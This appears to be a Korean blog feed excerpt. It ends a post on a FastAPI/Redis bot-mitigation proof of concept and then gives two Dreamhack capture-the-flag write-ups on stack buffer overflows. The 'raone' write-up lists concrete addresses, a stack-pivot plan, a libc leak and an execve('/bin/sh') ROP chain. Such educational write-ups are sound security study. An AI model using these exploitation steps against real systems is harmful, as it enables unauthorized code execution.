<th>필드</th>
<th>의미</th>
</tr>
</thead>
<tbody><tr>
<td><code>exp</code></td>
<td>만료 시각(유닉스 타임)</td>
</tr>
<tr>
<td><code>jti</code></td>
<td>토큰 식별자(UUID hex)</td>
</tr>
<tr>
<td><code>ip_ua</code></td>
<td>`ip</td>
</tr>
</tbody></table>
<p>이렇게 하면 토큰이 유출되더라도 <strong>다른 IP/UA에서 그대로 재사용</strong>하기 어렵다. (완벽은 아니지만, PoC에서 현실적인 수준) </p>
<h3 id="쿠키-설정">쿠키 설정</h3>
<p><code>/challenge</code>는 토큰을 HttpOnly 쿠키로 내려주고, 원래 경로로 302 복귀시킨다. </p>
<ul>
<li><code>HttpOnly=True</code></li>
<li><code>SameSite=lax</code></li>
<li><code>max_age=TOKEN_TTL_SECONDS</code></li>
</ul>
<pre><code class="language-python"># app/routes.py (요지)
response.set_cookie(
  key=&quot;trg_token&quot;,
  value=token,
  httponly=True,
  max_age=cfg.token_ttl_seconds,
  samesite=&quot;lax&quot;,
  path=&quot;/&quot;,
)
return RedirectResponse(url=safe_return, status_code=302)</code></pre>
<hr>
<h2 id="redis-슬라이딩-윈도우-카운터-왜-zset을-썼나">Redis 슬라이딩 윈도우 카운터: 왜 ZSET을 썼나</h2>
<p>IP별로 <code>rate:{ip}:short</code>, <code>rate:{ip}:long</code> 두 개 ZSET을 둔다. </p>
<ul>
<li>score: timestamp</li>
<li>member: timestamp 문자열(중복 허용 목적)</li>
</ul>
<p>그리고 “현재 시각 - 윈도우” 이전 데이터는 잘라낸 뒤 <code>zcard</code>로 개수를 센다. </p>
<p>이 방식 장점은 단순하다.</p>
<ul>
<li>in-memory KV보다 “정확한 윈도우 유지”가 쉽다</li>
<li>만료(expire)로 키를 자동 청소할 수 있다 </li>
</ul>
<hr>
<h2 id="실행-방법-로컬에서-바로-돌리기">실행 방법: 로컬에서 바로 돌리기</h2>
<h3 id="요구사항">요구사항</h3>
<ul>
<li>Docker + Docker Compose</li>
<li>포트: 8000(FastAPI), 6379(Redis)   </li>
</ul>
<h3 id="실행">실행</h3>
<pre><code class="language-bash">docker compose up --build -d
curl http://localhost:8000/health</code></pre>
<h3 id="테스트-스크립트">테스트 스크립트</h3>
<p>레포에 검증 스크립트도 넣어놨다. </p>
<pre><code class="language-bash">bash tests/test_scenarios.sh</code></pre>
<hr>
<h2 id="실전-느낌-테스트-curl로-정상-vs-의심-비교">실전 느낌 테스트: curl로 “정상 vs 의심” 비교</h2>
<h3 id="정상-유저-시나리오브라우저처럼">정상 유저 시나리오(브라우저처럼)</h3>
<pre><code class="language-bash">curl -v -c cookies.txt -L   -H &quot;User-Agent: Mozilla/5.0&quot;   -H &quot;Accept-Language: ko-KR,ko;q=0.9&quot;   http://localhost:8000/seat

curl -b cookies.txt   -H &quot;User-Agent: Mozilla/5.0&quot;   -H &quot;Accept-Language: ko-KR,ko;q=0.9&quot;   http://localhost:8000/seat</code></pre>
<h3 id="의심-트래픽-시나리오헤더-없이-빠르게">의심 트래픽 시나리오(헤더 없이 빠르게)</h3>
<pre><code class="language-bash">for i in $(seq 1 25); do
  curl -s -o /dev/null -w &quot;요청 %2d -&gt; HTTP %{http_code}
&quot;     http://localhost:8000/seat
done</code></pre>
<hr>
<h2 id="메트릭과-로그-운영자가-봐야-하는-것">메트릭과 로그: 운영자가 봐야 하는 것</h2>
<h3 id="메트릭metrics">메트릭(<code>/metrics</code>)</h3>
<p>현재 카운터/지연 평균을 JSON으로 준다. </p>
<table>
<thead>
<tr>
<th>필드</th>
<th>의미</th>
</tr>
</thead>
<tbody><tr>
<td><code>redirect_count</code></td>
<td>302 챌린지로 돌린 횟수</td>
</tr>
<tr>
<td><code>delay_count</code>, <code>avg_delay_ms</code></td>
<td>지연 건수/평균 지연</td>
</tr>
<tr>
<td><code>pass_count</code></td>
<td>그냥 통과한 요청 수</td>
</tr>
<tr>
<td><code>challenge_pass_count</code>, <code>challenge_fail_count</code></td>
<td>토큰 발급/실패 추정치</td>
</tr>
</tbody></table>
<pre><code class="language-bash">curl http://localhost:8000/metrics | python3 -m json.tool</code></pre>
<h3 id="구조화-로그json">구조화 로그(JSON)</h3>
<p>가드 결정은 <code>guard_decision</code>으로 찍히고, extra 필드로 path/ip/score/action/delay_ms/reason이 들어간다. </p>
<pre><code class="language-json">{
  &quot;ts&quot;: &quot;2026-02-26T00:00:00+00:00&quot;,
  &quot;level&quot;: &quot;INFO&quot;,
  &quot;msg&quot;: &quot;guard_decision&quot;,
  &quot;path&quot;: &quot;/seat&quot;,
  &quot;ip&quot;: &quot;203.0.113.10&quot;,
  &quot;score&quot;: 75,
  &quot;action&quot;: &quot;redirect&quot;,
  &quot;delay_ms&quot;: 0,
  &quot;reason&quot;: &quot;short_rate=20/15,no_cookie_or_session,empty_ua&quot;
}</code></pre>
<p>위 JSON은 “형식 예시”고, 실제 포맷은 <code>logging_config.py</code>에서 정의한 구조 그대로 나온다. </p>
<hr>
<h2 id="설정env-운영-레버를-표로-정리">설정(ENV): 운영 레버를 표로 정리</h2>
<p><code>.env.example</code> 기준으로 정리한다. </p>
<table>
<thead>
<tr>
<th>변수</th>
<th align="right">기본값</th>
<th>의미</th>
<th>운영 팁</th>
</tr>
</thead>
<tbody><tr>
<td><code>GUARD_ENABLED</code></td>
<td align="right">true</td>
<td>킬스위치</td>
<td>장애/이슈 나면 바로 false로 내려라</td>
</tr>
<tr>
<td><code>HMAC_SECRET</code></td>
<td align="right">change-me-in-production</td>
<td>토큰 서명 키</td>
<td>이거 안 바꾸면 그냥 끝이다</td>
</tr>
<tr>
<td><code>TOKEN_TTL_SECONDS</code></td>
<td align="right">120</td>
<td>토큰 TTL</td>
<td>너무 길면 재사용 위험, 너무 짧으면 정상 UX 흔들림</td>
</tr>
<tr>
<td><code>SCORE_MID/HIGH</code></td>
<td align="right">30/70</td>
<td>구간 임계값</td>
<td>이벤트 직전엔 MID를 올려 “정상 영향” 줄이는 튜닝도 가능</td>
</tr>
<tr>
<td><code>DELAY_MIN/MAX_MS</code></td>
<td align="right">100/800</td>
<td>지연 범위</td>
<td>지연은 UX랑 바로 트레이드오프다</td>
</tr>
<tr>
<td><code>WHITELIST_IPS</code></td>
<td align="right">127.0.0.1,...</td>
<td>예외 IP</td>
<td>내부 모니터링/백오피스 대역 넣어라</td>
</tr>
<tr>
<td><code>WHITELIST_PATHS</code></td>
<td align="right">/health,/metrics</td>
<td>예외 경로</td>
<td>헬스/메트릭은 건드리면 운영 터진다</td>
</tr>
<tr>
<td><code>SENSITIVE_PATHS</code></td>
<td align="right">/seat,/reserve,/pay,...</td>
<td>민감 경로</td>
<td>실제 서비스 플로우에 맞게 조정해라</td>
</tr>
</tbody></table>
<hr>
<h2 id="이거-실무에-붙이면-체크리스트">“이거 실무에 붙이면?” 체크리스트</h2>
<h3 id="1-return_to-검증오픈-리다이렉트-방지">1) return_to 검증(오픈 리다이렉트 방지)</h3>
<p>현재 <code>/challenge</code>는 <code>return_to</code>를 <code>unquote</code>해서 그대로 Redirect한다. 
실서비스면 반드시 다음을 넣어야 한다.</p>
<ul>
<li>return_to는 <strong>내부 path만 허용</strong>(<code>/</code>로 시작 + 도메인/스킴 금지)</li>
<li>허용 리스트 방식이 더 안전하다(예: <code>/seat</code>, <code>/reserve</code>만)</li>
</ul>
<h3 id="2-토큰의-사용-여부-처리">2) 토큰의 “사용 여부” 처리</h3>
<p>지금 구현은 <code>jti</code>를 Redis에 저장하는 유틸이 있고, 발급 시 <code>mark_jti_used</code>를 호출한다.<br>근데 검증(<code>/challenge/verify</code>)에서는 “jti 재사용 체크”를 아직 강하게 쓰진 않는다. </p>
<p>실무라면 보통 이런 선택지가 있다.</p>
<table>
<thead>
<tr>
<th>옵션</th>
<th>장점</th>
<th>단점</th>
</tr>
</thead>
<tbody><tr>
<td><code>jti</code> 1회성(원타임)</td>
<td>탈취 재사용 어렵다</td>
<td>Redis 부하 + 실패 시 UX 영향</td>
</tr>
<tr>
<td>TTL 동안 재사용 허용</td>
<td>운영 단순</td>
<td>탈취 시 TTL 동안 재사용 가능</td>
</tr>
</tbody></table>
<p>PoC의 의도는 “가볍고 빠른 완화”라서 여기서 타협한 거다.</p>
<h3 id="3-redis-장애-시-정책">3) Redis 장애 시 정책</h3>
<p>rate limiter가 Redis를 전제로 돌아간다. 
실서비스는 Redis 터지면 “전부 redirect” 같은 보수적 정책이 오히려 장애를 키울 수 있다.</p>
<ul>
<li>티켓팅은 장애 = 매출/신뢰 손실이라  </li>
<li>보통은 “최소 지연 + 통과” 같은 fail-open 성격이 안전한 경우가 많다</li>
</ul>
<hr>
<h2 id="한계">한계</h2>
<p>이건 “봇 완전 박멸기”가 아니다.</p>
<ul>
<li>제대로 만든 봇은 302 따라가고 쿠키도 저장한다 </li>
<li>튜닝을 못 하면 정상 유저도 지연/리다이렉트에 걸려 UX가 흔들릴 수 있다   </li>
</ul>
<p>그래서 포지션은 이렇게 잡는 게 맞다.</p>
<blockquote>
<p><strong>단독 방어책이 아니라, 게이트웨이 레이어에서 자동화를 흔드는 2차 완화 장치다.</strong> </p>
</blockquote>
<hr>
<h2 id="마치며">마치며</h2>
<p>이 PoC는 “탐지 정확도”보다 “운영 레버”에 더 초점을 뒀다.  </p>
<ul>
<li>오픈 직전 갑자기 봇 파도 들어올 때  </li>
<li>WAF/레이트리밋만으론 비용이 감당 안 될 때  </li>
<li>일단 서버를 살려야 할 때</li>
</ul>
<p>완벽하진 않다. 근데 “완화 레이어”로는 충분히 의미 있다고 본다.<br>다음은 이거를 실제 플로우에 붙이면서 튜닝 데이터(메트릭/로그) 쌓고, 챌린지 강화로 넘어가면 된다.</p>
<hr>
<h2 id="부록-a-기술-스택">부록 A. 기술 스택</h2>
<table>
<thead>
<tr>
<th>항목</th>
<th>버전</th>
</tr>
</thead>
<tbody><tr>
<td>FastAPI</td>
<td>0.115.6</td>
</tr>
<tr>
<td>Uvicorn</td>
<td>0.34.0</td>
</tr>
<tr>
<td>Redis client</td>
<td>redis[hiredis] 5.2.1</td>
</tr>
<tr>
<td>설정</td>
<td>pydantic-settings 2.7.1</td>
</tr>
</tbody></table>
<hr>
<h2 id="부록-b-로컬-구성docker-compose">부록 B. 로컬 구성(docker-compose)</h2>
<pre><code class="language-yaml">services:
  redis:
    image: redis:7-alpine
    ports:
      - &quot;6379:6379&quot;
  api:
    build: .
    ports:
      - &quot;8000:8000&quot;
    env_file:
      - .env
    depends_on:
      redis:
        condition: service_healthy</code></pre>
<hr>
]]></description>
        </item>
        <item>
            <title><![CDATA[Dreamhack - exestack write_up]]></title>
            <link>https://velog.io/@9_000k/Dreamhack-exestack-writeup</link>
            <guid>https://velog.io/@9_000k/Dreamhack-exestack-writeup</guid>
            <pubDate>Tue, 24 Feb 2026 13:30:05 GMT</pubDate>
            <description><![CDATA[<h1 id="dreamhack-exestack-풀이-기록">DreamHack <code>exestack</code> 풀이 기록</h1>
<blockquote>
<p>출처: DreamHack 워게임 <code>exestack</code><br>분야: Pwnable<br>키워드: Stack Buffer Overflow, Execstack, ret2shellcode, ASLR brute-force(개념)<br>주의: <strong>원격에 바로 재사용 가능한 익스플로잇 코드/정확한 타겟 정보/고정 주소값</strong>은 의도적으로 제거했다. 대신, 네가 잡아낸 <strong>핵심 인사이트(에필로그 구조 + execstack + ASLR 대응 아이디어)</strong>를 중심으로 정리했다.</p>
</blockquote>
<hr>
<h2 id="3줄-요약">3줄 요약</h2>
<ol>
<li><code>scanf(&quot;%s&quot;, buf)</code> 길이 제한이 없어서 <strong>1MB 스택 버퍼를 넘어서는 BOF</strong>가 난다.  </li>
<li>빌드 옵션이 <code>-z execstack -fno-stack-protector -m32</code>라서 <strong>스택 실행 가능 + 카나리 없음 + 32비트</strong> 조합이 된다.  </li>
<li>main 에필로그가 <code>pop ecx</code> → <code>lea esp, [ecx-4]</code> 형태라서, 단순 saved EIP 덮기보다 <strong>스택 피봇(ESP 재설정) 관점</strong>으로 봐야 한다.</li>
</ol>
<hr>
<h2 id="1-배경">1. 배경</h2>
<p>프로그램은 입력 길이 제한이 전혀 없는 상태에서 <strong>1MB 크기의 스택 버퍼</strong>에 문자열을 저장한다.<br>게다가 Makefile을 보면 NX/Canary 같은 현대 방어를 의도적으로 꺼놨다. 목표는 요약하면 이거다.</p>
<ul>
<li><strong>스택에 셸코드를 심는다</strong></li>
<li><strong>제어 흐름을 스택으로 보낸다</strong></li>
<li>(ASLR이 있으면) <strong>정확한 주소를 모르는 문제를 “확률/반복” 관점으로 해결한다</strong></li>
</ul>
<hr>
<h2 id="2-보호-기법checksec-해석">2. 보호 기법(checksec) 해석</h2>
<table>
<thead>
<tr>
<th>항목</th>
<th>상태</th>
<th>한 줄 해석</th>
</tr>
</thead>
<tbody><tr>
<td>Arch</td>
<td>i386-32-little</td>
<td>32비트라 주소 공간이 좁다</td>
</tr>
<tr>
<td>RELRO</td>
<td>Full</td>
<td>GOT overwrite류는 의미 없다</td>
</tr>
<tr>
<td>Canary</td>
<td>없음</td>
<td>BOF가 단순해진다</td>
</tr>
<tr>
<td>NX</td>
<td>GNU_STACK missing (unknown)</td>
<td>대신 스택이 executable로 보인다</td>
</tr>
<tr>
<td>PIE</td>
<td>Enabled</td>
<td>코드 베이스는 랜덤일 수 있다</td>
</tr>
<tr>
<td>Stack</td>
<td>Executable</td>
<td><strong>ret2shellcode가 성립</strong>한다</td>
</tr>
<tr>
<td>RWX</td>
<td>있음</td>
<td>실행 가능한 writable 영역이 있다</td>
</tr>
</tbody></table>
<p><strong>핵심은 <code>No canary + Executable stack</code></strong> 조합이다. 이 조합이면 “스택에 코드 올리고 실행”이 가장 직관적인 방향이 된다.</p>
<hr>
<h2 id="3-분석">3. 분석</h2>
<h2 id="31-makefile-분석">3.1 Makefile 분석</h2>
<pre><code class="language-makefile">CC = gcc
CFLAGS = -Wall -Wextra -Werror -g -z execstack -m32 -fno-stack-protector</code></pre>
<p>옵션 해석은 아래처럼 정리된다.</p>
<table>
<thead>
<tr>
<th>옵션</th>
<th>의미</th>
<th>이 문제에서 중요한 이유</th>
</tr>
</thead>
<tbody><tr>
<td><code>-m32</code></td>
<td>32비트 바이너리 생성</td>
<td>주소 공간이 상대적으로 좁아서 ASLR 대응 난이도가 내려간다</td>
</tr>
<tr>
<td><code>-z execstack</code></td>
<td>스택 실행 가능</td>
<td>스택에 넣은 셸코드를 “그대로” 실행할 수 있다</td>
</tr>
<tr>
<td><code>-fno-stack-protector</code></td>
<td>Stack Canary 제거</td>
<td>BOF가 발생하면 카나리 없이 바로 프레임이 깨진다</td>
</tr>
</tbody></table>
<hr>
<h2 id="32-소스-코드-핵심">3.2 소스 코드 핵심</h2>
<pre><code class="language-c">#include &lt;stdio.h&gt;

int main() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    char buf[0x100000];
    scanf(&quot;%s&quot;, buf);
}</code></pre>
<ul>
<li><code>setvbuf(... _IONBF ...)</code>는 입출력 버퍼링을 꺼서 원격/로컬에서 출력 타이밍을 예측 가능하게 만든다.</li>
<li><code>scanf(&quot;%s&quot;, buf)</code>가 진짜 핵심이다. <code>%s</code>는 공백 전까지 읽지만 <strong>길이 제한이 없다.</strong><br>→ 입력이 길면 <code>buf</code> 이후 스택 데이터를 덮는다.</li>
</ul>
<hr>
<h2 id="4-취약점-stack-buffer-overflow">4. 취약점: Stack Buffer Overflow</h2>
<p>일반적인 스택 프레임 개념도는 이렇다.</p>
<pre><code>높은 주소
+---------------------------+
| saved return address (EIP)|
+---------------------------+
| saved EBP                 |
+---------------------------+
| saved regs / alignment    |
+---------------------------+
| local buf[0x100000]       |
+---------------------------+
낮은 주소</code></pre><p>보통 BOF는 <code>saved EIP</code>를 덮어서 흐름을 바꾼다.<br>근데 이 문제는 <strong>함수 에필로그가 특이해서</strong> “EIP 덮기 전에 스택이 먼저 터지는” 그림이 자주 나온다.</p>
<hr>
<h2 id="5-진짜-인사이트-main-에필로그가-ecx로-esp를-잡는다">5. 진짜 인사이트: main 에필로그가 <code>ECX</code>로 <code>ESP</code>를 잡는다</h2>
<p>GDB에서 main 끝부분을 보면 이런 흐름이 나온다.</p>
<pre><code class="language-asm">call   __isoc99_scanf@plt
add    esp, 0x10
mov    eax, 0
lea    esp, [ebp-0x8]
pop    ecx
pop    ebx
pop    ebp
lea    esp, [ecx-0x4]
ret</code></pre>
<p>여기서 핵심은 두 줄이다.</p>
<ul>
<li><code>pop ecx</code></li>
<li><code>lea esp, [ecx-0x4]</code></li>
</ul>
<h3 id="51-왜-이게-중요한가">5.1 왜 이게 중요한가</h3>
<p>BOF로 스택이 덮이면, 에필로그에서 <code>pop ecx</code>가 읽어야 할 “정상 값”이 깨진다.<br>그럼 ECX가 공격자가 만든 값(혹은 쓰레기 값)이 된다.</p>
<p>그리고 바로 다음 줄에서:</p>
<ul>
<li><code>ESP = ECX - 4</code></li>
</ul>
<p>가 돼버린다. 즉, <strong>스택 포인터가 ECX 기반으로 재설정</strong>된다.</p>
<p>결과적으로 흔히 이런 현상을 본다.</p>
<table>
<thead>
<tr>
<th>현상</th>
<th>의미</th>
</tr>
</thead>
<tbody><tr>
<td><code>ret</code>에서 EIP가 패턴값으로 안 바뀌고 그냥 죽음</td>
<td>saved EIP를 읽기도 전에 ESP가 스택 밖으로 튀었다</td>
</tr>
<tr>
<td><code>ESP</code>가 <code>0x4141413d</code> 같은 값으로 변함</td>
<td><code>ECX</code>가 <code>0x41414141</code>로 덮였고 <code>ECX-4</code>로 ESP가 갔다</td>
</tr>
</tbody></table>
<p>이게 이 문제의 “기본 BOF랑 다른” 포인트다.</p>
<h3 id="52-디버깅-때-관찰-포인트">5.2 디버깅 때 관찰 포인트</h3>
<p>에필로그에서 한 줄씩 보면 답이 나온다.</p>
<ul>
<li><code>pop ecx</code> 직후: ECX 값이 정상인지/깨졌는지</li>
<li><code>lea esp, [ecx-4]</code> 직후: ESP가 스택 범위 안인지/밖인지</li>
<li><code>ret</code> 실행 시점: <code>[ESP]</code>를 못 읽어서 SIGSEGV가 나는지</li>
</ul>
<hr>
<h2 id="6-aslr-문제와-확률-접근개념">6. ASLR 문제와 “확률” 접근(개념)</h2>
<p>이 문제에서 남는 난점은 이거다.</p>
<ul>
<li>스택 실행은 가능하다.</li>
<li>셸코드를 스택에 올릴 수 있다.</li>
<li>하지만 <strong>스택 주소가 매번 바뀌면</strong>, “정확히 어디로 점프하냐”가 문제다.</li>
</ul>
<p>그래서 실전에서는 보통 다음 중 하나를 고민한다.</p>
<ol>
<li>주소 누출(leak)이 있으면 그걸로 정확한 주소를 만든다  </li>
<li>누출이 없으면 “확률을 올리는 구조”를 만든다(개념적으로)  <ul>
<li>넓은 NOP 구간(슬레드)  </li>
<li>스택 내부의 “대략 범위”를 겨냥한 점프  </li>
<li>반복 시도로 성공 확률 누적</li>
</ul>
</li>
</ol>
<p>여기서 중요한 건, <strong>1MB 버퍼가 커서 ‘맞을 공간’이 넓어질 수 있다</strong>는 점이다.<br>(정확한 수치/주소는 환경마다 달라서 여기선 원리만 적는다.)</p>
<hr>
<h2 id="7-익스플로잇-시나리오아이디어만">7. 익스플로잇 시나리오(아이디어만)</h2>
<p>아래는 실행 가능한 코드가 아니라 “흐름 요약”이다.</p>
<ol>
<li>스택 버퍼에 실행 가능한 페이로드(셸코드 포함)를 배치한다  </li>
<li>에필로그에서 참조되는 값들이 어떻게 스택을 재구성하는지 이해하고, 그 흐름이 원하는 실행 경로로 이어지게 만든다  </li>
<li>ASLR 때문에 실패할 수 있으니, 성공 확률을 올리는 구조(개념)를 적용한다  </li>
<li>성공하면 셸을 통해 기본 명령으로 확인하고(예: 환경 확인), 최종 목표를 수행한다</li>
</ol>
<hr>
<h2 id="8-핵심-정리">8. 핵심 정리</h2>
<table>
<thead>
<tr>
<th>포인트</th>
<th>요약</th>
</tr>
</thead>
<tbody><tr>
<td>취약점</td>
<td><code>scanf(&quot;%s&quot;)</code>로 1MB 버퍼를 넘어서는 BOF</td>
</tr>
<tr>
<td>환경</td>
<td><code>execstack + no canary + 32-bit</code>로 ret2shellcode가 유리</td>
</tr>
<tr>
<td>진짜 함정</td>
<td><code>pop ecx</code> → <code>lea esp, [ecx-4]</code> 때문에 “EIP 덮기 전에” ESP가 깨질 수 있음</td>
</tr>
<tr>
<td>ASLR 대응</td>
<td>주소 누출 없으면 “확률/반복” 관점으로 접근(개념)</td>
</tr>
</tbody></table>
<hr>
<h2 id="9-마치며">9. 마치며</h2>
<p>이 문제는 “execstack이니까 그냥 EIP 덮고 점프”로 끝나는 문제가 아니었다.<br>에필로그가 ECX로 ESP를 다시 잡는 구조라서, 디버깅을 제대로 안 하면 <code>ret</code>에서 계속 멈춰 죽는 것처럼 보인다.</p>
<p>결국 답은 항상 디버거에 있었다.<br><strong><code>pop ecx</code> 이후 ECX가 무엇이 되는지</strong>, 그리고 <strong><code>lea esp, [ecx-4]</code>로 ESP가 어디로 가는지</strong>만 보면 전체 그림이 정리된다.  </p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Dreamhack - raone write_up]]></title>
            <link>https://velog.io/@9_000k/Dreamhack-raone-writeup</link>
            <guid>https://velog.io/@9_000k/Dreamhack-raone-writeup</guid>
            <pubDate>Sun, 22 Feb 2026 10:47:09 GMT</pubDate>
            <description><![CDATA[<h1 id="dreamhack-워게임-풀이-stack-bof--leaveret-프레임-피벗--bss-rop-조립">Dreamhack 워게임 풀이: Stack BOF + leave/ret 프레임 피벗 + bss ROP 조립</h1>
<h2 id="3줄-요약">3줄 요약</h2>
<ol>
<li>main에서 <code>buf[0x30]</code>에 <code>read(0, buf, 0x40)</code>을 호출해서 <strong>SFP/RIP까지 덮는 BOF</strong>가 터진다.  </li>
<li><code>leave; ret</code>로 <strong>RBP 프레임을 bss로 피벗</strong>시키고, main 내부 <code>read</code> 블록을 재사용해서 <strong>bss에 ROP를 조립</strong>한다.  </li>
<li><code>puts(puts@got)</code>로 libc를 릭한 뒤, libc 베이스 기준으로 <code>execve(&quot;/bin/sh&quot;,0,0)</code> 체인을 구성해서 마무리한다.  </li>
</ol>
<hr>
<h2 id="1-들어가며">1. 들어가며</h2>
<p>처음엔 그냥 BOF 같아 보이는데, 가젯도 부족하고 릭도 없어 보여서 헷갈리기 쉬운 타입이다.<br>근데 이 문제는 “가젯 찾아서 화려하게 ROP”가 핵심이 아니라, <strong>main 에필로그의 <code>leave; ret</code>로 프레임을 bss로 옮기고, main 내부 <code>read</code> 코드 블록을 재사용해서 bss에 체인을 쌓는 구조</strong>가 핵심이다.</p>
<hr>
<h2 id="2-취약점-개념">2. 취약점 개념</h2>
<h3 id="21-stack-buffer-overflow">2.1 Stack Buffer Overflow</h3>
<p>main() 내부에 정의되어 있는 buf의 크기는 <code>0x30</code>인데, <code>0x40</code>만큼의 입력을 받기 때문에 스택 버퍼 오버플로가 발생한다. 따라서 main() 에필로그의 <code>leave</code>, <code>ret</code> 과정을 이용해 프로그램의 흐름을 임의로 조작할 수 있다.</p>
<p><strong>취약 부분(의미만)</strong>:</p>
<pre><code class="language-c">// Title: vulnerable read
char buf[0x30];
read(0, buf, 0x40); // overflow</code></pre>
<h3 id="22-왜-leave-ret가-먹히냐">2.2 왜 <code>leave; ret</code>가 먹히냐</h3>
<p><code>leave</code>와 <code>ret</code>은 사실상 아래 동작이다.</p>
<ul>
<li><code>leave</code>:<ul>
<li><code>rsp = rbp</code></li>
<li><code>rbp = [rsp]</code></li>
</ul>
</li>
<li><code>ret</code>:<ul>
<li><code>rip = [rsp+8]</code></li>
</ul>
</li>
</ul>
<p>즉, BOF로 <strong>saved rbp(SFP)</strong> 와 <strong>saved rip</strong>를 덮으면 함수 종료 시점에:</p>
<ul>
<li>“스택 포인터가 어디로 갈지”</li>
<li>“그 다음에 어디로 점프할지”</li>
</ul>
<p>를 내가 정할 수 있다.</p>
<hr>
<h2 id="3-문제-상황-첫-시도와-실패">3. 문제 상황: 첫 시도와 실패</h2>
<h3 id="31-첫-번째-시도-libc-주소-고정-박기">3.1 첫 번째 시도: libc 주소 고정 박기</h3>
<p>로컬에서 보이는 libc 주소(예: <code>0x7ffff7...</code>)를 그대로 원격에 쓰면 깨진다. ASLR 때문에 libc 베이스가 매번 바뀌기 때문이다.<br>그래서 <strong>릭 없이 <code>system</code>/<code>execve</code> 실제 주소를 바로 호출하는 방식은 실패</strong>한다.</p>
<h3 id="32-두-번째-시도-가젯만으로-rop-짜기">3.2 두 번째 시도: 가젯만으로 ROP 짜기</h3>
<p>이 바이너리는 <code>pop rdi</code> 같은 최소 가젯은 있어도, <code>pop rsi</code>, <code>pop rdx</code> 같은 인자 세팅 가젯이 빈약한 편이다.<br>그래서 “가젯 수집전”으로 밀면 시간만 날리기 쉽다.</p>
<hr>
<h2 id="4-문제의-원인-디버깅으로-본-실제-동작">4. 문제의 원인: 디버깅으로 본 실제 동작</h2>
<h3 id="41-main-내부의-read-블록이-사실상-가젯이다">4.1 main 내부의 <code>read</code> 블록이 사실상 가젯이다</h3>
<p>main을 보면 다음 블록이 존재한다:</p>
<pre><code class="language-asm">0x401211: lea rax, [rbp-0x30]
0x401215: mov edx, 0x40
0x40121a: mov rsi, rax
0x40121d: mov edi, 0
0x401222: call read@plt
...
0x40123b: leave
0x40123c: ret</code></pre>
<p>여기서 핵심:</p>
<ul>
<li><code>read</code>의 목적지 = <code>rbp - 0x30</code></li>
<li>즉, <strong>RBP만 bss로 피벗</strong>하면 <code>read</code>는 자동으로 bss로 써준다.</li>
</ul>
<h3 id="42-메모리-구조를-그림으로-보면-바로-이해된다">4.2 메모리 구조를 그림으로 보면 바로 이해된다</h3>
<p>초기 main 스택 프레임:</p>
<pre><code>stack (main)

rbp -&gt; +------------------------+
       | saved rbp (SFP)        |
       +------------------------+
       | saved rip              |
       +------------------------+
       | buf[0x30]              |
rsp -&gt; +------------------------+</code></pre><p>BOF로 덮는 목표:</p>
<ul>
<li>saved rbp = bss + 원하는 오프셋</li>
<li>saved rip = 0x401211 (main의 read 블록으로 복귀)</li>
</ul>
<p>그 다음 함수 종료 시:</p>
<pre><code>leave; ret

rsp = rbp
rbp = [rsp]        &lt;- 내가 덮어둔 값
rip = [rsp+8]      &lt;- 내가 덮어둔 값</code></pre><p>결과적으로 “가짜 스택 프레임을 bss에 만들고 그걸 타는 구조”가 된다.</p>
<hr>
<h2 id="5-해결-방법">5. 해결 방법</h2>
<h3 id="51-익스플로잇-시나리오요약">5.1 익스플로잇 시나리오(요약)</h3>
<p>1) SFP 조작을 이용해 rbp를 bss 영역으로 조작하고 main() 내부의 read()로 리턴<br>2) bss 영역에 ROP Chain 구성: puts(puts@got)<br>3) puts@got 릭을 통해 libc 베이스 주소 계산<br>4) 릭한 libc base 주소를 기반으로 /bin/sh, execve(), pop rsi 가젯 주소 계산<br>5) 다시 main() 내부의 read()를 이용해 bss 영역에 ROP Chain 구성: execve(&quot;/bin/sh&quot;, 0, 0)<br>6) 구성한 ROP Chain으로 셸 실행  </p>
<h3 id="52-핵심-값가젯-정리">5.2 핵심 값/가젯 정리</h3>
<table>
<thead>
<tr>
<th>항목</th>
<th align="right">값/의미</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td>buf 크기</td>
<td align="right">0x30</td>
<td><code>rbp-0x30</code></td>
</tr>
<tr>
<td>read 길이</td>
<td align="right">0x40</td>
<td>BOF 발생</td>
</tr>
<tr>
<td>RIP 오프셋</td>
<td align="right">0x38</td>
<td><code>0x30 + 8(sfp)</code></td>
</tr>
<tr>
<td>read 블록 시작</td>
<td align="right">0x401211</td>
<td><code>lea rax, [rbp-0x30]</code></td>
</tr>
<tr>
<td>read 호출 지점</td>
<td align="right">0x401222</td>
<td><code>call read@plt</code></td>
</tr>
<tr>
<td>leave; ret</td>
<td align="right">0x40123b</td>
<td>프레임 피벗</td>
</tr>
<tr>
<td>pop rdi; ret</td>
<td align="right">0x4011db</td>
<td>1번째 인자 세팅</td>
</tr>
<tr>
<td>plt0</td>
<td align="right">0x401020</td>
<td><code>.plt</code> 첫 엔트리</td>
</tr>
</tbody></table>
<hr>
<h2 id="6-디버깅-로그로-확인한-체크포인트">6. 디버깅 로그로 확인한 체크포인트</h2>
<h3 id="61-bss로-write-되는지-확인">6.1 bss로 write 되는지 확인</h3>
<p>두 번째 read 직전 레지스터가 이렇게 나오면 성공이다:</p>
<ul>
<li><code>rbp = 0x404830</code></li>
<li><code>rsi = 0x404800 (= rbp-0x30)</code></li>
<li><code>rdx = 0x40</code></li>
</ul>
<p><strong>GDB/pwndbg 명령어</strong>:</p>
<pre><code class="language-gdb">b *0x401222
b *0x40123b
# ...
i r rsi rbp rdx rip</code></pre>
<h3 id="62-왜-bbbb-넣으면-죽는지-확인">6.2 왜 BBBB 넣으면 죽는지 확인</h3>
<p>bss에 0x40을 전부 <code>B</code>로 채우면, bss의 특정 오프셋이 다음 흐름이 된다.</p>
<ul>
<li><code>bss+0x30</code> : next rbp</li>
<li><code>bss+0x38</code> : next rip</li>
</ul>
<p>여기도 <code>0x424242...</code>가 되면 <code>leave; ret</code> 이후 바로 크래시 나는 게 정상이다.</p>
<hr>
<h2 id="7-핵심-교훈">7. 핵심 교훈</h2>
<table>
<thead>
<tr>
<th>교훈</th>
<th>내용</th>
</tr>
</thead>
<tbody><tr>
<td>BOF는 시작일 뿐이다</td>
<td>가젯 부족/릭 부재면 “프로그램 내부 코드 재사용”으로 풀어야 한다</td>
</tr>
<tr>
<td><code>leave; ret</code>는 피벗이다</td>
<td>saved rbp를 조작하면 스택 프레임 자체를 옮길 수 있다</td>
</tr>
<tr>
<td>bss는 작업장이다</td>
